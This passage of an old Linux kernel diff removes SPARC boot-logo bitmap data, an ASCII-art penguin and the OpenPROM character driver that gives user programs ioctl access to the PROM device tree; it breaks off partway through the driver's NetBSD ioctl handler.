0xEA, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xEA, 0xC0, 0xAA, 0xA6, 0xA2, - 0xA2, 0x99, 0xA0, 0xA0, 0xA4, 0xA7, 0xA9, 0xC0, - 0x67, 0x49, 0x54, 0x60, 0xD0, 0xD4, 0xCC, 0xDF, - 0xD9, 0xD5, 0xD2, 0x3E, 0x47, 0x56, 0x60, 0xCD, - 0x5D, 0xD9, 0xD9, 0xD6, 0x61, 0x3F, 0x47, 0x52, - 0xD6, 0xD3, 0x62, 0x4D, 0x40, 0x4A, 0x57, 0xCA, - 0xC3, 0xC1, 0xC1, 0xC0, 0xBF, 0xBF, 0xAA, 0xAA, - 0xA6, 0xA4, 0xA4, 0xA4, 0xA6, 0xA8, 0xBE, 0xC1, - 0xC9, 0xEB, 0xFB, 0xFB, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xEB, 0xC3, 0xC0, 0xAA, 0xA8, - 0xA6, 0xA6, 0xA6, 0xA9, 0xAA, 0xC0, 0xE8, 0xD0, - 0xD2, 0x4C, 0x5E, 0x64, 0xD0, 0xD1, 0x5F, 0xD9, - 0xD5, 0xD1, 0xD0, 0x48, 0x52, 0x5C, 0x64, 0xCD, - 0x5C, 0xDC, 0xD7, 0xD5, 0x62, 0x3F, 0x4C, 0x53, - 0xDA, 0xD7, 0xCE, 0x56, 0x40, 0x4B, 0x52, 0x56, - 0xCE, 0xDF, 0x6A, 0xEB, 0xE9, 0xC9, 0xC3, 0xC0, - 0xC0, 0xBF, 0xBE, 0xAA, 0xBF, 0xC0, 0xC3, 0xC9, - 0xEA, 0xF6, 0xEE, 0x58, 0x57, 0x5E, 0xD6, 0xD0, - 0xD2, 0x61, 0xCB, 0xD6, 0xD6, 0xD4, 0xDF, 0xF3, - 0xF2, 0xDD, 0xD7, 0xEB, 0xC9, 0xC1, 0xC0, 0xBF, - 0xAA, 0xAA, 0xAA, 0xBE, 0xC3, 0xF0, 0xD2, 0xD2, - 0xD2, 0x51, 0x62, 0xCC, 0xD0, 0xCC, 0x61, 0xD3, - 0xCF, 0xCE, 0xD2, 0x48, 0x5A, 0x61, 0xCC, 0xCE, - 0x5F, 0xD9, 0xD5, 0xD1, 0x63, 0x44, 0x56, 0x56, - 0xDC, 0xD9, 0xD4, 0x5E, 0x42, 0x4A, 0x4C, 0x57, - 0x5D, 0xD8, 0xE0, 0xD8, 0xDC, 0xCB, 0x66, 0xEC, - 0xE8, 0xC3, 0xC3, 0xC3, 0xC3, 0xC9, 0xE8, 0xEA, - 0xF6, 0x50, 0x3E, 0x58, 0x57, 0x5A, 0xD6, 0xD4, - 0xCC, 0x4B, 0x53, 0x5C, 0x64, 0xD1, 0xDF, 0xF3, - 0xF1, 0xDE, 0xD9, 0xF6, 0xEB, 0xC9, 0xC1, 0xC1, - 0xC0, 0xC0, 0xC1, 0xC9, 0xF0, 0xD6, 0xCD, 0xD6, - 0xD3, 0x53, 0xCB, 0xCF, 0xCD, 0x5F, 0x5F, 0xCE, - 0xCF, 0xCD, 0xD0, 0x47, 0x5F, 0xCB, 0xCE, 0xCD, - 0x63, 0xD6, 0xD3, 0xD1, 0x63, 0x3F, 0x58, 0x58, - 0xDB, 0xDC, 0xDA, 0x65, 0x3E, 0x49, 0x49, 0x4D, - 0x49, 0xDC, 0xDF, 0xE0, 0xDE, 0xD5, 0x47, 0x47, - 0x46, 0x6B, 0xEB, 0xEA, 0xE9, 0xEA, 0xEB, 0xF6, - 0xD0, 0x57, 0x57, 0x47, 0x47, 0x5B, 0xD4, 0xD4, - 0xCD, 0x44, 0x3E, 0x4B, 0x50, 0x4B, 0x51, 0xD5, - 0xDB, 0xD8, 0xDE, 0x4B, 0xF6, 0xF6, 0xEA, 0xE9, - 0xE8, 0xEA, 0xEB, 0x67, 0x5E, 0xCC, 0xD6, 0xDC, - 0xD5, 0x58, 0xCE, 0xCE, 0x62, 0x50, 0xCC, 0xD3, - 0xD2, 0xCD, 0xCD, 0x4B, 0x64, 0xCE, 0xCE, 0x64, - 0xCC, 0xD3, 0xD2, 0xD2, 0x61, 0x47, 0x5D, 0x5C, - 0xDD, 0xDD, 0xD9, 0xD1, 0x4C, 0x47, 0x49, 0x4A, - 0x4B, 0xD1, 0xD8, 0xE0, 0xDF, 0xDD, 0x5D, 0x4A, - 0x48, 0x52, 0x51, 0x3F, 0xF6, 0xEC, 0xE0, 0xE0, - 0xD3, 0x5E, 0x5F, 0x50, 0x4B, 0x50, 0xCB, 0xCE, - 0x64, 0x45, 0x4C, 0x57, 0x57, 0x58, 0x52, 0xD6, - 0xD3, 0xDE, 0xDF, 0xD1, 0x3E, 0x4B, 0xF6, 0xF6, - 0xEC, 0x66, 0x53, 0x43, 0x56, 0xD1, 0xD9, 0xDE, - 0xD4, 0x5E, 0xCE, 0xCC, 0x5B, 0x2C, 0xD4, 0xD5, - 0xD2, 0xD0, 0x63, 0x5D, 0xCD, 0xD0, 0xCD, 0x5E, - 0xD0, 0xCF, 0xCE, 0xD2, 0x5E, 0x50, 0x60, 0x5D, - 0xDE, 0xDD, 0xDC, 0xD7, 0x5D, 0x45, 0x47, 0x3E, - 0x4B, 0x5E, 0xDE, 0xDF, 0xE0, 0xD8, 0xCF, 0x3E, - 0x45, 0x51, 0x58, 0x42, 0xCB, 0xDA, 0xDE, 0xD8, - 0xD2, 0x61, 0xCC, 0xCF, 0xD6, 0xDA, 0xDA, 0xD5, - 0xD0, 0x50, 0x44, 0x57, 0x57, 0x58, 0x45, 0xD1, - 0xD1, 0xD7, 0xDF, 0xDF, 0xD7, 0xCF, 0x64, 0x60, - 0xCE, 0xCE, 0xCE, 0x63, 0xCF, 0xDA, 0xDE, 0xD9, - 0xCF, 0x63, 0xCD, 0x63, 0x4D, 0x4B, 0xD6, 0xD5, - 0xCE, 0xD3, 0x60, 0xCB, 0xD0, 0xD0, 0x65, 0x47, - 0xD0, 0xCC, 0xCC, 0xD1, 0x59, 0x5D, 0x63, 0x5E, - 0xDD, 0xDD, 0xDE, 0xDC, 0xCB, 0x40, 0x48, 0x45, - 0x3E, 0x3E, 0xD9, 0xDF, 0xE0, 0xDF, 0xDA, 0x51, - 0x4C, 0x48, 0x56, 0x4C, 0x5B, 0xD2, 0xDA, 0xDB, - 0xCB, 0x5F, 0xD0, 0xCC, 0xDC, 0xF0, 0xF3, 0xE0, - 0xDD, 0xCC, 0x41, 0x50, 0x57, 0x57, 0x4B, 0x5D, - 0xD3, 0xD1, 0xDE, 0xDF, 0xDE, 0xD7, 0xD0, 0xD0, - 0xD5, 0xD6, 0xD6, 0xCE, 0xD7, 0xDC, 0xDA, 0xD5, - 0x60, 0x63, 0x64, 0x5E, 0x47, 0x61, 0xD5, 0xD2, - 0xCF, 0xD0, 0x59, 0xCD, 0xD1, 0xCF, 0x61, 0x4D, - 0xCC, 0xCE, 0xCD, 0xD0, 0x52, 0x61, 0x64, 0x60, - 0xDA, 0xDE, 0xDE, 0xDD, 0xD1, 0x4B, 0x4A, 0x45, - 0x3E, 0x41, 0xCD, 0xDE, 0xE0, 0xF1, 0xDE, 0x63, - 0x4A, 0x4A, 0x4A, 0x4B, 0x50, 0xCB, 0xD4, 0xD7, - 0x5E, 0x54, 0x62, 0xD3, 0xD4, 0xF0, 0xF3, 0xF3, - 0xF2, 0xDE, 0x61, 0x40, 0x49, 0x56, 0x4D, 0x3E, - 0x4B, 0xCE, 0xD9, 0xD8, 0xD9, 0xD5, 0xCF, 0xD2, - 0xD6, 0xD6, 0xD1, 0xD1, 0xD7, 0xD5, 0xCF, 0xD0, - 0x54, 0x64, 0x63, 0x56, 0x2C, 0xCB, 0xD1, 0xCC, - 0xD3, 0xCD, 0x54, 0xCF, 0xD1, 0xCE, 0x5E, 0x5C, - 0xCE, 0xCE, 0xCE, 0xCB, 0x4B, 0x63, 0xCC, 0x61, - 0xD4, 0xDC, 0xDE, 0xDE, 0xDA, 0x5D, 0x45, 0x45, - 0x48, 0x3F, 0x52, 0xD9, 0xD8, 0xDF, 0xDF, 0xD2, - 0x52, 0x4B, 0x3E, 0x2E, 0x47, 0x60, 0xCF, 0xD3, - 0x59, 0x48, 0x50, 0x5E, 0xCC, 0xDE, 0xF2, 0xF2, - 0xF3, 0xF3, 0xDD, 0x5D, 0x3E, 0x48, 0x47, 0x47, - 0x58, 0xD1, 0xDA, 0xDA, 0xD5, 0xD1, 0xCD, 0xD2, - 0xD3, 0xCF, 0xD3, 0xD1, 0xCD, 0xD3, 0xD2, 0x5E, - 0x52, 0x64, 0x60, 0x4B, 0x45, 0x61, 0xCD, 0xD3, - 0xD3, 0x64, 0x61, 0xD0, 0xD0, 0x64, 0x45, 0x63, - 0xD0, 0xCE, 0xD0, 0x60, 0x56, 0xCB, 0xCC, 0x62, - 0xCE, 0xDA, 0xDE, 0xD8, 0xDD, 0xCC, 0x45, 0x49, - 0x3E, 0x47, 0x42, 0xD1, 0xDC, 0xD8, 0xD8, 0xD3, - 0x5D, 0x4C, 0x49, 0x3F, 0x47, 0x59, 0xCD, 0xCF, - 0x59, 0x2E, 0x48, 0x47, 0x52, 0x63, 0xF0, 0xF2, - 0xF3, 0xF3, 0xF2, 0xDA, 0x52, 0x4B, 0x52, 0x58, - 0x5E, 0x63, 0xD0, 0xD0, 0xD0, 0xCF, 0xCE, 0xCE, - 0xCF, 0x65, 0x61, 0xD6, 0xD6, 0xD6, 0xCB, 0x4B, - 0x61, 0x62, 0x5D, 0x43, 0x4B, 0x61, 0xD0, 0xD4, - 0xD1, 0x61, 0xCE, 0xD2, 0xCD, 0x5E, 0x4A, 0xCE, - 0xD0, 0xCC, 0xD0, 0x59, 0x61, 0xCC, 0xCC, 0x62, - 0xD1, 0xD5, 0xDE, 0xD8, 0xDD, 0xCF, 0x4B, 0x4A, - 0x45, 0x3E, 0x2D, 0xCB, 0xDC, 0xDE, 0xD8, 0xD5, - 0x60, 0x54, 0x51, 0x4C, 0x4D, 0x5C, 0xCC, 0xCE, - 0x5A, 0x2C, 0x50, 0x53, 0x3E, 0x59, 0xD8, 0xF3, - 0xF2, 0xF3, 0xF3, 0xE0, 0x5E, 0x4A, 0x4C, 0x53, - 0x5E, 0x63, 0xCC, 0xCC, 0xCC, 0xCD, 0xCF, 0xD3, - 0x62, 0x53, 0xD6, 0xD6, 0xD6, 0xD6, 0x5B, 0x48, - 0x64, 0x63, 0x59, 0x44, 0x57, 0x63, 0xD2, 0xD3, - 0xD0, 0x5E, 0xD0, 0xD1, 0xCB, 0x58, 0x4C, 0xCF, - 0xCF, 0xCE, 0xCE, 0x57, 0x63, 0xCC, 0xCD, 0x57, -}; - -unsigned char linux_logo_bw[] __initdata = { - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x3F, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, - 0xFE, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFE, 0x3F, 0xFF, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFE, 0x7F, 0xFF, 0xC7, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 0xC3, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xFF, - 0xFB, 0xE3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFD, 0xFF, 0xFF, 0xE1, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xF9, 0xFF, 0xFF, 0xF1, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xFF, 0xFF, 0xF1, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xFF, - 0xFF, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF9, 0xFF, 0xFF, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xF9, 0xCF, 0xC3, 0xF8, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x87, 0x81, 0xF9, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xA7, - 0x99, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF9, 0xF3, 0xBC, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xF9, 0xE3, 0xBC, 0xF9, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xB0, 0x3C, 0xF9, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xB0, - 0x19, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF9, 0xC0, 0x03, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xF9, 0x80, 0x01, 0xF8, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x80, 0x01, 0xF8, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x80, - 0x01, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF9, 0xC0, 0x21, 0xD8, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xF9, 0xB1, 0x80, 0xEC, 0xC0, 0x1F, - 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x90, 0x00, 0xE4, - 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0x8C, - 0xC0, 0x7C, 0x04, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, - 0xE3, 0x80, 0x00, 0x7C, 0x40, 0x11, 0xFF, 0xFF, - 0xFF, 0xFF, 0xE3, 0x80, 0x00, 0x7F, 0xD2, 0x29, - 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x3F, - 0x80, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0x00, - 0x00, 0x3F, 0x80, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, - 0x1E, 0x00, 0x00, 0x1F, 0x80, 0x19, 0xFF, 0xFF, - 0xFF, 0xFE, 0x1C, 0x00, 0x00, 0x1E, 0x80, 0x19, - 0xFF, 0xFF, 0xFF, 0xFE, 0x3C, 0x00, 0x00, 0x1E, - 0x80, 0x11, 0xFF, 0xFF, 0xFF, 0xFC, 0x7C, 0x00, - 0x00, 0x0F, 0x80, 0x11, 0xFF, 0xFF, 0xFF, 0xFC, - 0xF8, 0x00, 0x00, 0x0E, 0x80, 0x11, 0xFF, 0xFF, - 0xFF, 0xFC, 0xF8, 0x00, 0x00, 0x06, 0x00, 0x11, - 0xFF, 0xFF, 0xFF, 0xF8, 0xF8, 0x00, 0x00, 0x06, - 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xF9, 0xF0, 0x00, - 0x00, 0x02, 0x00, 0x09, 0xFF, 0xFF, 0xFF, 0xF1, - 0xF0, 0x00, 0x00, 0x02, 0x80, 0x10, 0xFF, 0xFF, - 0xFF, 0xF1, 0xE0, 0x00, 0x00, 0x00, 0x97, 0x10, - 0xFF, 0xFF, 0xFF, 0xE3, 0xE0, 0x00, 0x00, 0x00, - 0xDF, 0xF0, 0xFF, 0xFF, 0xFF, 0xE3, 0xC0, 0x00, - 0x00, 0x00, 0xFF, 0xF8, 0xFF, 0xFF, 0xFF, 0xC7, - 0xC0, 0x00, 0x00, 0x01, 0xFF, 0xF8, 0xFF, 0xFF, - 0xFF, 0xC7, 0x80, 0x00, 0x00, 0x01, 0xFF, 0xF8, - 0xFF, 0xFF, 0xFF, 0x8F, 0x80, 0x00, 0x00, 0x01, - 0xFF, 0xF8, 0xFF, 0xFF, 0xFF, 0x8F, 0x80, 0x00, - 0x00, 0x01, 0xFF, 0xF8, 0xFF, 0xFF, 0xFF, 0x9F, - 0x80, 0x00, 0x00, 0x01, 0xFF, 0xF8, 0xFF, 0xFF, - 0xFF, 0x9F, 0x80, 0x00, 0x00, 0x01, 0x80, 0x18, - 0xFF, 0xFF, 0xFF, 0x9E, 0x80, 0x00, 0x00, 0x03, - 0xA8, 0x11, 0xFF, 0xFF, 0xFF, 0x9F, 0x80, 0x00, - 0x00, 0x02, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0x99, - 0x80, 0x00, 0x00, 0x00, 0x00, 0x09, 0xFF, 0xFF, - 0xFF, 0x00, 0x80, 0x00, 0x00, 0x01, 0xC0, 0x01, - 0xFF, 0xFF, 0xFE, 0x20, 0x60, 0x00, 0x00, 0x00, - 0xFF, 0xC3, 0xFF, 0xFF, 0xF8, 0x00, 0x30, 0x00, - 0x00, 0x00, 0xFF, 0x0F, 0xFF, 0xFF, 0xC0, 0x40, - 0x38, 0x00, 0x00, 0x00, 0xFE, 0x47, 0xFF, 0xFF, - 0x81, 0x00, 0x1C, 0x00, 0x00, 0x00, 0xFC, 0x23, - 0xFF, 0xFF, 0x90, 0x00, 0x1E, 0x00, 0x00, 0x00, - 0x78, 0x11, 0xFF, 0xFF, 0x80, 0x00, 0x0F, 0x80, - 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0x80, 0x00, - 0x07, 0xC0, 0x00, 0x00, 0x00, 0x08, 0xFF, 0xFF, - 0xC0, 0x00, 0x07, 0xC0, 0x00, 0x00, 0x00, 0x04, - 0x7F, 0xFF, 0x80, 0x00, 0x03, 0xC0, 0x00, 0x10, - 0x00, 0x00, 0x1F, 0xFF, 0x80, 0x00, 0x01, 0x80, - 0x00, 0x30, 0x00, 0x00, 0x0F, 0xFF, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x70, 0x00, 0x01, 0x4F, 0xFF, - 0x80, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x00, - 0x0F, 0xFF, 0xC0, 0x00, 0x00, 0x80, 0x03, 0xF0, - 0x00, 0x00, 0x8F, 0xFF, 0x80, 0x00, 0x00, 0x40, - 0x0F, 0xF0, 0x00, 0x04, 0x1F, 0xFF, 0x80, 0x00, - 0x00, 0x7F, 0xFF, 0xF0, 0x00, 0x10, 0x1F, 0xFF, - 0xC0, 0x00, 0x00, 0x7F, 0xFF, 0xF0, 0x00, 0x40, - 0xFF, 0xFF, 0x98, 0x00, 0x00, 0xFF, 0xFF, 0xF0, - 0x00, 0x83, 0xFF, 0xFF, 0x81, 0xE0, 0x01, 0xFF, - 0xFF, 0xF8, 0x02, 0x07, 0xFF, 0xFF, 0x80, 0x3F, - 0x07, 0xE0, 0x00, 0x1C, 0x0C, 0x1F, 0xFF, 0xFF, - 0xF8, 0x03, 0xFF, 0x80, 0x00, 0x1F, 0x78, 0x1F, - 0xFF, 0xFF, 0xFF, 0x80, 0x7F, 0x00, 0x07, 0x0F, - 0xF0, 0x7F, 0xFF, 0xFF, 0xFF, 0xFE, 0x0C, 0x07, - 0xFF, 0x83, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0x00, 0x1F, 0xFF, 0xC0, 0x03, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x07, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, -}; - -/* Painted by Johnny Stenback */ - -unsigned char *linux_serial_image __initdata = "\n" -" .u$e.\n" -" .$$$$$:S\n" -" $\"*$/\"*$$\n" -" $.`$ . ^F\n" -" 4k+#+T.$F\n" -" 4P+++\"$\"$\n" -" :R\"+ t$$B\n" -" ___# $$$\n" -" | | R$$k\n" -" dd. | Linux $!$\n" -" ddd | Sparc $9$F\n" -" '!!!!!$ !!#!`\n" -" !!!!!* .!!!!!`\n" -"'!!!!!!!W..e$$!!!!!!` %s\n" -" \"~^^~ ^~~^\n" -"\n"; diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/openprom.c linux/drivers/sbus/char/openprom.c --- linux-2.1.29/drivers/sbus/char/openprom.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/char/openprom.c Wed Dec 31 19:00:00 1969 @@ -1,610 +0,0 @@ -/* - * Linux/SPARC PROM Configuration Driver - * Copyright (C) 1996 Thomas K. Dyas (tdyas@noc.rutgers.edu) - * Copyright (C) 1996 Eddie C. Dost (ecd@skynet.be) - * - * This character device driver allows user programs to access the - * PROM device tree. It is compatible with the SunOS /dev/openprom - * driver and the NetBSD /dev/openprom driver. The SunOS eeprom - * utility works without any modifications. - * - * The driver uses a minor number under the misc device major. The - * file read/write mode determines the type of access to the PROM. - * Interrupts are disabled whenever the driver calls into the PROM for - * sanity's sake. - */ - -/* This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. - */ - -#define PROMLIB_INTERNAL - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -/* Private data kept by the driver for each descriptor. */ -typedef struct openprom_private_data -{ - int current_node; /* Current node for SunOS ioctls. */ - int lastnode; /* Last valid node used by BSD ioctls. */ -} DATA; - -/* ID of the PROM node containing all of the EEPROM options. */ -static int options_node = 0; - -/* - * Copy an openpromio structure into kernel space from user space. - * This routine does error checking to make sure that all memory - * accesses are within bounds. A pointer to the allocated openpromio - * structure will be placed in "*opp_p". Return value is the length - * of the user supplied buffer. - */ -static int copyin(struct openpromio *info, struct openpromio **opp_p) -{ - int bufsize; - - if (!info || !opp_p) - return -EFAULT; - - get_user_ret(bufsize, &info->oprom_size, -EFAULT); - - if (bufsize == 0 || bufsize > OPROMMAXPARAM) - return -EINVAL; - - if (!(*opp_p = kmalloc(sizeof(int) + bufsize + 1, GFP_KERNEL))) - return -ENOMEM; - memset(*opp_p, 0, sizeof(int) + bufsize + 1); - - if (copy_from_user(&(*opp_p)->oprom_array, - &info->oprom_array, bufsize)) { - kfree(*opp_p); - return -EFAULT; - } - return bufsize; -} - -static int getstrings(struct openpromio *info, struct openpromio **opp_p) -{ - int n, bufsize; - char c; - - if (!info || !opp_p) - return -EFAULT; - - if (!(*opp_p = kmalloc(sizeof(int) + OPROMMAXPARAM + 1, GFP_KERNEL))) - return -ENOMEM; - - memset(*opp_p, 0, sizeof(int) + OPROMMAXPARAM + 1); - (*opp_p)->oprom_size = 0; - - n = bufsize = 0; - while ((n < 2) && (bufsize < OPROMMAXPARAM)) { - if (get_user(c, &info->oprom_array[bufsize])) { - kfree(*opp_p); - return -EFAULT; - } - if (c == '\0') - n++; - (*opp_p)->oprom_array[bufsize++] = c; - } - if (!n) { - kfree(*opp_p); - return -EINVAL; - } - return bufsize; -} - -/* - * Copy an openpromio structure in kernel space back to user space. - */ -static int copyout(void *info, struct openpromio *opp, int len) -{ - copy_to_user_ret(info, opp, len, -EFAULT); - return 0; -} - -/* - * SunOS and Solaris /dev/openprom ioctl calls. - */ -static int openprom_sunos_ioctl(struct inode * inode, struct file * file, - unsigned int cmd, unsigned long arg, int node) -{ - DATA *data = (DATA *) file->private_data; - char buffer[OPROMMAXPARAM+1], *buf; - struct openpromio *opp; - unsigned long flags; - int bufsize, len, error = 0; - - if (cmd == OPROMSETOPT) - bufsize = getstrings((void *)arg, &opp); - else - bufsize = copyin((void *)arg, &opp); - - if (bufsize < 0) - return bufsize; - - switch (cmd) { - case OPROMGETOPT: - case OPROMGETPROP: - save_and_cli(flags); - len = prom_getproplen(node, opp->oprom_array); - restore_flags(flags); - - if (len <= 0 || len > bufsize) { - error = copyout((void *)arg, opp, sizeof(int)); - break; - } - - save_and_cli(flags); - len = prom_getproperty(node, opp->oprom_array, buffer, bufsize); - restore_flags(flags); - - memcpy(opp->oprom_array, buffer, len); - opp->oprom_array[len] = '\0'; - opp->oprom_size = len; - - error = copyout((void *)arg, opp, sizeof(int) + bufsize); - break; - - case OPROMNXTOPT: - case OPROMNXTPROP: - save_and_cli(flags); - buf = prom_nextprop(node, opp->oprom_array); - restore_flags(flags); - - len = strlen(buf); - if (len == 0 || len + 1 > bufsize) { - error = copyout((void *)arg, opp, sizeof(int)); - break; - } - - memcpy(opp->oprom_array, buf, len); - opp->oprom_array[len] = '\0'; - opp->oprom_size = ++len; - - error = copyout((void *)arg, opp, sizeof(int) + bufsize); - break; - - case OPROMSETOPT: - case OPROMSETOPT2: - buf = opp->oprom_array + strlen(opp->oprom_array) + 1; - len = opp->oprom_array + bufsize - buf; - - printk(KERN_DEBUG "OPROMSETOPT%s %s='%s'\n", - (cmd == OPROMSETOPT) ? "" : "2", opp->oprom_array, buf); - - save_and_cli(flags); - error = prom_setprop(options_node, opp->oprom_array, - buf, len); - restore_flags(flags); - - if (error <= 0) - error = -EINVAL; - break; - - case OPROMNEXT: - case OPROMCHILD: - if (bufsize < sizeof(int)) { - error = -EINVAL; - break; - } - - node = *((int *) opp->oprom_array); - - save_and_cli(flags); - if (cmd == OPROMNEXT) - node = __prom_getsibling(node); - else - node = __prom_getchild(node); - restore_flags(flags); - - data->current_node = node; - *((int *)opp->oprom_array) = node; - opp->oprom_size = sizeof(int); - - error = copyout((void *)arg, opp, bufsize + sizeof(int)); - break; - - case OPROMGETBOOTARGS: - save_and_cli(flags); - buf = prom_getbootargs(); - restore_flags(flags); - - len = strlen(buf); - - if (len > bufsize) { - error = -EINVAL; - break; - } - - strcpy(opp->oprom_array, buf); - opp->oprom_size = len; - - error = copyout((void *)arg, opp, bufsize + sizeof(int)); - break; - - case OPROMU2P: - case OPROMGETCONS: - case OPROMGETFBNAME: - printk(KERN_INFO "openprom_sunos_ioctl: unimplemented ioctl\n"); - error = -EINVAL; - break; - default: - printk(KERN_INFO "openprom_sunos_ioctl: cmd 0x%X, arg 0x%lX\n", cmd, arg); - error = -EINVAL; - break; - } - - kfree(opp); - return error; -} - - -/* Return nonzero if a specific node is in the PROM device tree. */ -static int intree(int root, int node) -{ - for (; root != 0; root = prom_getsibling(root)) - if (root == node || intree(prom_getchild(root),node)) - return 1; - return 0; -} - -/* Return nonzero if a specific node is "valid". */ -static int goodnode(int n, DATA *data) -{ - if (n == data->lastnode || n == prom_root_node || n == options_node) - return 1; - if (n == 0 || n == -1 || !intree(prom_root_node,n)) - return 0; - data->lastnode = n; - return 1; -} - -/* Copy in a whole string from userspace into kernelspace. */ -static int copyin_string(char *user, size_t len, char **ptr) -{ - char *tmp; - - tmp = kmalloc(len + 1, GFP_KERNEL); - if (!tmp) - return -ENOMEM; - - if(copy_from_user(tmp, user, len)) { - kfree(tmp); - return -EFAULT; - } - - tmp[len] = '\0'; - - *ptr = tmp; - - return 0; -} - -/* - * NetBSD /dev/openprom ioctl calls. - */ -static int openprom_bsd_ioctl(struct inode * inode, struct file * file, - unsigned int cmd, unsigned long arg) -{ - DATA *data = (DATA *) file->private_data; - struct opiocdesc op; - unsigned long flags; - int error, node, len; - char *str, *tmp; - - switch (cmd) { - case OPIOCGET: - copy_from_user_ret(&op, (void *)arg, sizeof(op), -EFAULT); - - if (!goodnode(op.op_nodeid,data)) - return -EINVAL; - - error = copyin_string(op.op_name, op.op_namelen, &str); - if (error) - return error; - - save_and_cli(flags); - len = prom_getproplen(op.op_nodeid,str); - restore_flags(flags); - - if (len > op.op_buflen) { - kfree(str); - return -ENOMEM; - } - - op.op_buflen = len; - - if (len <= 0) { - kfree(str); - /* Verified by the above copy_from_user_ret */ - __copy_to_user_ret((void *)arg, &op, - sizeof(op), -EFAULT); - return 0; - } - - tmp = kmalloc(len + 1, GFP_KERNEL); - if (!tmp) { - kfree(str); - return -ENOMEM; - } - - save_and_cli(flags); - prom_getproperty(op.op_nodeid, str, tmp, len); - restore_flags(flags); - - tmp[len] = '\0'; - - error = __copy_to_user((void *)arg, &op, sizeof(op)); - if (!error) - error = copy_to_user(op.op_buf, tmp, len); - - kfree(tmp); - kfree(str); - - return error; - - case OPIOCNEXTPROP: - copy_from_user_ret(&op, (void *)arg, sizeof(op), -EFAULT); - - if (!goodnode(op.op_nodeid,data)) - return -EINVAL; - - error = copyin_string(op.op_name, op.op_namelen, &str); - if (error) - return error; - - save_and_cli(flags); - tmp = prom_nextprop(op.op_nodeid,str); - restore_flags(flags); - - if (tmp) { - len = strlen(tmp); - if (len > op.op_buflen) - len = op.op_buflen; - else - op.op_buflen = len; - } else { - len = op.op_buflen = 0; - } - - error = verify_area(VERIFY_WRITE, (void *)arg, sizeof(op)); - if (error) { - kfree(str); - return error; - } - - error = verify_area(VERIFY_WRITE, op.op_buf, len); - if (error) { - kfree(str); - return error; - } - - error = __copy_to_user((void *)arg, 